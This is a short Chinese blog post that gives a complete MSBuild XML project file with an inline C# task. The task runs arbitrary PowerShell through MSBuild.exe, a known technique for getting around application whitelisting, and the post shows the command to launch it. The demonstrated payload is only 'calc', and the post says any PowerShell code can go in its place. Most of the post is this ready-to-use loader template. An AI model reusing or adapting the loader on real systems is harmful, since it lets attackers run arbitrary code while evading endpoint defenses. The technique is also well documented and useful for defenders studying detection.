使用Msbuild.exe执行PowerShell代码

作者: RedFree 分类: C# 发布时间: 2018-02-27 17:06 ė4,163 次访问 6没有评论

知识来源:

https://twitter.com/subTee/status/775798398859345920

https://github.com/giMini/PowerMemory/blob/master/RWMC/misc/reverseshell.xml

XML代码如下:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="34rfas">
   <QWEridxnaPO />
  </Target>
	<UsingTask
    TaskName="QWEridxnaPO"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
	<Task>
	  <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[		
			using System;
			using System.IO;
			using System.Diagnostics;
			using System.Reflection;
			using System.Runtime.InteropServices;
			using System.Collections.ObjectModel;
			using System.Management.Automation;
			using System.Management.Automation.Runspaces;
			using System.Text;
			using Microsoft.Build.Framework;
			using Microsoft.Build.Utilities;							
			public class QWEridxnaPO :  Task, ITask {
				public override bool Execute() {
					string powershell = "calc";
					Runspace runspace = RunspaceFactory.CreateRunspace();
					runspace.Open();
					RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
					Pipeline pipeline = runspace.CreatePipeline();
					pipeline.Commands.AddScript(powershell);
					pipeline.Invoke();
					runspace.Close();			
					return true;
				}								 
			}			
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

string powershell = "calc"为PowerShell代码,这里弹计算器为示例。

执行如下命令:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe test.xml

效果图:

2.png

本文出自 RedFree's Blog,转载时请注明出处及相应链接。

本文永久链接: http://py4.me/blog/?p=576

发表评论

电子邮件地址不会被公开。

Ɣ回顶部